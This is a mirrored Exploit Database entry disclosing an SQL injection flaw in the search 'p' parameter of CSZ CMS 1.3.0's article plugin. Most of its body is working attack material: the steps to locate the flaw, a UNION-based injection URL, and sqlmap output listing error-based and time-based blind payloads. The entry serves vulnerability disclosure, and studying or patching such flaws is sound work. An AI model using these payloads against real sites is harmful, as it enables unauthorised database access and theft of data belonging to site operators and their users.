CSZ CMS 1.3.0 – ‘Multiple’ Blind SQLi

• Exploit Database
• 38 阅读

• 作者： Dogukan Dincer
  日期： 2022-05-11
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50899/

• # Exploit Title: CSZ CMS 1.3.0 - 'Multiple' Blind SQLi
  # Date: 2021-04-22
  # Exploit Author: Dogukan Dincer
  # Vendor Homepage: https://www.cszcms.com/
  # Software Link: https://sourceforge.net/projects/cszcms/files/install/CSZCMS-V1.3.0.zip/download
  # Version: 1.3.0
  # Tested on: Kali Linux, Windows 10, PHP 7.2.4, Apache 2.4
  
  # Discovery of Vulnerability
  
  - First go to CSZ CMS web page
  - then go to http://yourhost/plugin/article directory on CMS.
  - To see the error-based SQLi vulnerability, the ' character is entered in the search section.
  - It is determined that the "p" parameter creates the vulnerability.
  - Databases can be accessed with manual or automated tools.
  
  # Proof of Concept
  
  http://127.0.0.1/csz-cms/plugin/article/search?p=3D1'") UNION ALL SELECT CONCAT(0x717a7a6b71,0x5449414d6c63596c746759764a614d64727476796366686f4e6a7a474c4a414d6b616a4269684956,0x716a717a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
  
  # Sqlmap output:
  
  Parameter: p (GET)
  Type: error-based
  Title: MySQL >=3D 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
  Payload: p=3D1'") AND EXTRACTVALUE(8555,CONCAT(0x5c,0x717a7a6b71,(SELECT (ELT(8555=3D8555,1))),0x716a717a71))-- OUUO
  
  Type: time-based blind
  Title: MySQL >=3D 5.0.12 AND time-based blind (query SLEEP)
  Payload: p=3D1'") AND (SELECT 3910 FROM (SELECT(SLEEP(5)))qIap)-- ogLS